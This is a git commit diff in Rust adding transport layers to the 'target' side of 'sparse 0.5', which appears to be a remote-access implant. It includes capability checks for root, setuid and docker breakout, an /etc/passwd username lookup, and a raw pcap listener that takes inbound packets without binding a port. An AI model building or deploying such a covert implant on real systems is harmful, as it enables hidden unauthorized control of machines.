feat: added transport layers for sparse 0.5 target
This commit is contained in:
parent
aecf1c9b80
commit
d7a0deba0c
@ -76,7 +76,7 @@ pub mod messages {
|
|||||||
DownloadFileSegment(u64, u64, Vec<u8>),
|
DownloadFileSegment(u64, u64, Vec<u8>),
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Serialize, Deserialize, Debug)]
|
#[derive(Serialize, Deserialize, Debug, Clone, Copy)]
|
||||||
pub enum TransportType {
|
pub enum TransportType {
|
||||||
RawUdp,
|
RawUdp,
|
||||||
Udp,
|
Udp,
|
||||||
@ -88,6 +88,7 @@ pub mod messages {
|
|||||||
pub docker_breakout: bool,
|
pub docker_breakout: bool,
|
||||||
pub setuid: bool,
|
pub setuid: bool,
|
||||||
pub root: bool,
|
pub root: bool,
|
||||||
|
pub userent: Option<String>,
|
||||||
pub transport: TransportType,
|
pub transport: TransportType,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -23,6 +23,24 @@ struct cap_user_data_t {
|
|||||||
inheritable: u32,
|
inheritable: u32,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||||
|
let passwd = std::fs::read_to_string("/etc/passwd")?;
|
||||||
|
|
||||||
|
Ok(passwd.split("\n").find_map(|row| -> Option<String> {
|
||||||
|
let mut entries = row.split(":");
|
||||||
|
|
||||||
|
let name = entries.next()?;
|
||||||
|
entries.next()?;
|
||||||
|
let euid = entries.next()?.parse::<u32>().ok()?;
|
||||||
|
|
||||||
|
if euid == uid {
|
||||||
|
Some(name.to_string())
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
|
||||||
pub fn get_capabilities() -> anyhow::Result<Capabilities> {
|
pub fn get_capabilities() -> anyhow::Result<Capabilities> {
|
||||||
let mut header = cap_user_header_t {
|
let mut header = cap_user_header_t {
|
||||||
version: 0x20080522,
|
version: 0x20080522,
|
||||||
@ -42,19 +60,22 @@ pub fn get_capabilities() -> anyhow::Result<Capabilities> {
|
|||||||
|
|
||||||
let docker_container = false;
|
let docker_container = false;
|
||||||
let docker_breakout = false;
|
let docker_breakout = false;
|
||||||
let root = unsafe { libc::getuid() } == 0;
|
let uid = unsafe { libc::getuid() };
|
||||||
|
let root = uid == 0;
|
||||||
let setuid = data.effective & CAP_SETUID != 0;
|
let setuid = data.effective & CAP_SETUID != 0;
|
||||||
let transport = if data.effective & CAP_NET_RAW != 0 || root {
|
let transport = if data.effective & CAP_NET_RAW != 0 || root {
|
||||||
TransportType::RawUdp
|
TransportType::RawUdp
|
||||||
} else {
|
} else {
|
||||||
TransportType::Udp
|
TransportType::Udp
|
||||||
};
|
};
|
||||||
|
let userent = get_username(uid)?;
|
||||||
|
|
||||||
Ok(Capabilities {
|
Ok(Capabilities {
|
||||||
docker_container,
|
docker_container,
|
||||||
docker_breakout,
|
docker_breakout,
|
||||||
setuid,
|
setuid,
|
||||||
root,
|
root,
|
||||||
|
userent,
|
||||||
transport,
|
transport,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1,26 +1,88 @@
|
|||||||
use std::{net::UdpSocket, sync::Arc};
|
use std::{
|
||||||
|
net::{Ipv4Addr, SocketAddrV4, UdpSocket},
|
||||||
|
sync::Arc,
|
||||||
|
};
|
||||||
|
|
||||||
|
use anyhow::{anyhow, bail};
|
||||||
|
|
||||||
|
use pcap_sys::packets::{self, EthernetPkt};
|
||||||
|
use sparse_05_common::messages::TransportType;
|
||||||
|
|
||||||
pub enum Interface {
|
pub enum Interface {
|
||||||
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>),
|
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
|
||||||
Udp(UdpSocket),
|
Udp(UdpSocket, u16),
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Interface {
|
impl Interface {
|
||||||
pub fn split(self) -> (InterfaceSender, InterfaceReceiver) {
|
pub fn new(ttype: TransportType, port: u16) -> anyhow::Result<Interface> {
|
||||||
|
match ttype {
|
||||||
|
TransportType::RawUdp => {
|
||||||
|
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
||||||
|
let interface_name = interfaces
|
||||||
|
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
|
||||||
|
.ok_or(anyhow!("could not get an ethernet interface"))?;
|
||||||
|
|
||||||
|
let mut interface = loop {
|
||||||
|
macro_rules! retry {
|
||||||
|
($e:expr) => {{
|
||||||
|
match $e {
|
||||||
|
Ok(res) => res,
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!(
|
||||||
|
"unable to open interface, sleeping for one second... ({:?})",
|
||||||
|
e
|
||||||
|
);
|
||||||
|
std::thread::sleep(std::time::Duration::from_millis(1000));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut interface = retry!(pcap_sys::Interface::<pcap_sys::DevDisabled>::new(
|
||||||
|
&interface_name
|
||||||
|
));
|
||||||
|
|
||||||
|
retry!(interface.set_buffer_size(8192));
|
||||||
|
retry!(interface.set_non_blocking(false));
|
||||||
|
retry!(interface.set_promisc(false));
|
||||||
|
retry!(interface.set_timeout(10));
|
||||||
|
|
||||||
|
let mut interface = retry!(interface.activate());
|
||||||
|
|
||||||
|
retry!(interface.set_filter(&format!("inbound and port {port}"), true, None));
|
||||||
|
|
||||||
|
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
||||||
|
bail!("interface does not properly support ethernet");
|
||||||
|
}
|
||||||
|
|
||||||
|
break interface;
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(Interface::RawUdp(interface, port))
|
||||||
|
}
|
||||||
|
TransportType::Udp => Ok(Interface::Udp(
|
||||||
|
UdpSocket::bind(&format!("0.0.0.0:{port}"))?,
|
||||||
|
port,
|
||||||
|
)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> {
|
||||||
match self {
|
match self {
|
||||||
Self::RawUdp(interface) => {
|
Self::RawUdp(interface, port) => {
|
||||||
let arc = Arc::new(interface);
|
let arc = Arc::new(interface);
|
||||||
(
|
Ok((
|
||||||
InterfaceSender::RawUdp(Arc::clone(&arc)),
|
InterfaceSender::RawUdp(Arc::clone(&arc)),
|
||||||
InterfaceReceiver::RawUdp(arc),
|
InterfaceReceiver::RawUdp(arc),
|
||||||
)
|
))
|
||||||
}
|
}
|
||||||
Self::Udp(interface) => {
|
Self::Udp(interface, port) => {
|
||||||
let other = interface.try_clone().unwrap();
|
let other = interface.try_clone()?;
|
||||||
(
|
Ok((
|
||||||
InterfaceSender::Udp(interface),
|
InterfaceSender::Udp(interface),
|
||||||
InterfaceReceiver::Udp(other),
|
InterfaceReceiver::Udp(other, port),
|
||||||
)
|
))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -31,7 +93,70 @@ pub enum InterfaceSender {
|
|||||||
Udp(UdpSocket),
|
Udp(UdpSocket),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
impl InterfaceSender {
|
||||||
|
pub fn sendpacket(&self, packet: EthernetPkt) -> anyhow::Result<()> {
|
||||||
|
match self {
|
||||||
|
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
|
||||||
|
Self::Udp(interf) => {
|
||||||
|
use pcap_sys::packets::*;
|
||||||
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
||||||
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||||
|
|
||||||
|
let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport());
|
||||||
|
|
||||||
|
interf.send_to(udp_pkt.get_data(), addr)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub enum InterfaceReceiver {
|
pub enum InterfaceReceiver {
|
||||||
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
|
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
|
||||||
Udp(UdpSocket),
|
Udp(UdpSocket, u16),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl InterfaceReceiver {
|
||||||
|
pub fn listen<F>(&self, f: F) -> anyhow::Result<()>
|
||||||
|
where
|
||||||
|
F: Fn(packets::EthernetPacket) -> anyhow::Result<()>,
|
||||||
|
{
|
||||||
|
match self {
|
||||||
|
Self::RawUdp(interf) => interf.listen(
|
||||||
|
move |_, packet| {
|
||||||
|
(f)(packet.to_owned());
|
||||||
|
Ok(false)
|
||||||
|
},
|
||||||
|
false,
|
||||||
|
-1,
|
||||||
|
),
|
||||||
|
Self::Udp(interf, port) => loop {
|
||||||
|
use pcap_sys::packets::*;
|
||||||
|
|
||||||
|
let mut buf = [0u8; 2000];
|
||||||
|
|
||||||
|
let Ok((count, from)) = interf.recv_from(&mut buf) else { continue; };
|
||||||
|
|
||||||
|
let udp_packet = UDPPacket::construct(from.port(), *port, &buf[..count]);
|
||||||
|
let ip_packet = IPv4Packet::construct(
|
||||||
|
match from.ip() {
|
||||||
|
std::net::IpAddr::V4(a) => a,
|
||||||
|
std::net::IpAddr::V6(_) => continue,
|
||||||
|
},
|
||||||
|
Ipv4Addr::new(0, 0, 0, 0),
|
||||||
|
&Layer4Packet::UDP(udp_packet),
|
||||||
|
);
|
||||||
|
let ether_packet = EthernetPacket::construct(
|
||||||
|
[0, 0, 0, 0, 0, 0],
|
||||||
|
[0, 0, 0, 0, 0, 0],
|
||||||
|
&Layer3Packet::IPv4(ip_packet),
|
||||||
|
);
|
||||||
|
|
||||||
|
(f)(ether_packet);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -37,60 +37,20 @@ fn main() -> anyhow::Result<()> {
|
|||||||
(port, Arc::new(pubkey))
|
(port, Arc::new(pubkey))
|
||||||
};
|
};
|
||||||
|
|
||||||
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
let interface = interface::Interface::new(capabilities.transport, port)?;
|
||||||
let interface_name = interfaces
|
let (interface_sender, interface_receiver) = interface.split()?;
|
||||||
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
|
|
||||||
.ok_or(anyhow!("could not get an ethernet interface"))?;
|
|
||||||
|
|
||||||
let mut interface = loop {
|
|
||||||
macro_rules! retry {
|
|
||||||
($e:expr) => {{
|
|
||||||
match $e {
|
|
||||||
Ok(res) => res,
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!(
|
|
||||||
"unable to open interface, sleeping for one second... ({:?})",
|
|
||||||
e
|
|
||||||
);
|
|
||||||
std::thread::sleep(std::time::Duration::from_millis(1000));
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}};
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut interface = retry!(pcap_sys::Interface::<pcap_sys::DevDisabled>::new(
|
|
||||||
&interface_name
|
|
||||||
));
|
|
||||||
|
|
||||||
retry!(interface.set_buffer_size(8192));
|
|
||||||
retry!(interface.set_non_blocking(false));
|
|
||||||
retry!(interface.set_promisc(false));
|
|
||||||
retry!(interface.set_timeout(10));
|
|
||||||
|
|
||||||
let mut interface = retry!(interface.activate());
|
|
||||||
|
|
||||||
retry!(interface.set_filter(&format!("inbound and port {port}"), true, None));
|
|
||||||
|
|
||||||
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
|
||||||
bail!("interface does not properly support ethernet");
|
|
||||||
}
|
|
||||||
|
|
||||||
break Arc::new(interface);
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut connections: HashMap<(Ipv4Addr, u16), ConnectionHandle> = HashMap::new();
|
let mut connections: HashMap<(Ipv4Addr, u16), ConnectionHandle> = HashMap::new();
|
||||||
let (send_eth_packet, recv_eth_packet) = channel::<EthernetPacket>();
|
let (send_eth_packet, recv_eth_packet) = channel::<EthernetPacket>();
|
||||||
|
|
||||||
{
|
{
|
||||||
let interface = Arc::clone(&interface);
|
|
||||||
thread::spawn(move || loop {
|
thread::spawn(move || loop {
|
||||||
let Ok(packet) = recv_eth_packet.recv() else { continue };
|
let Ok(packet) = recv_eth_packet.recv() else { continue };
|
||||||
if let Err(_) = interface.sendpacket(packet.pkt()) {}
|
if let Err(_) = interface_sender.sendpacket(packet.pkt()) {}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
interface.listen(move |_, _| Ok(false), false, -1);
|
interface_receiver.listen(move |_| Ok(()))?;
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user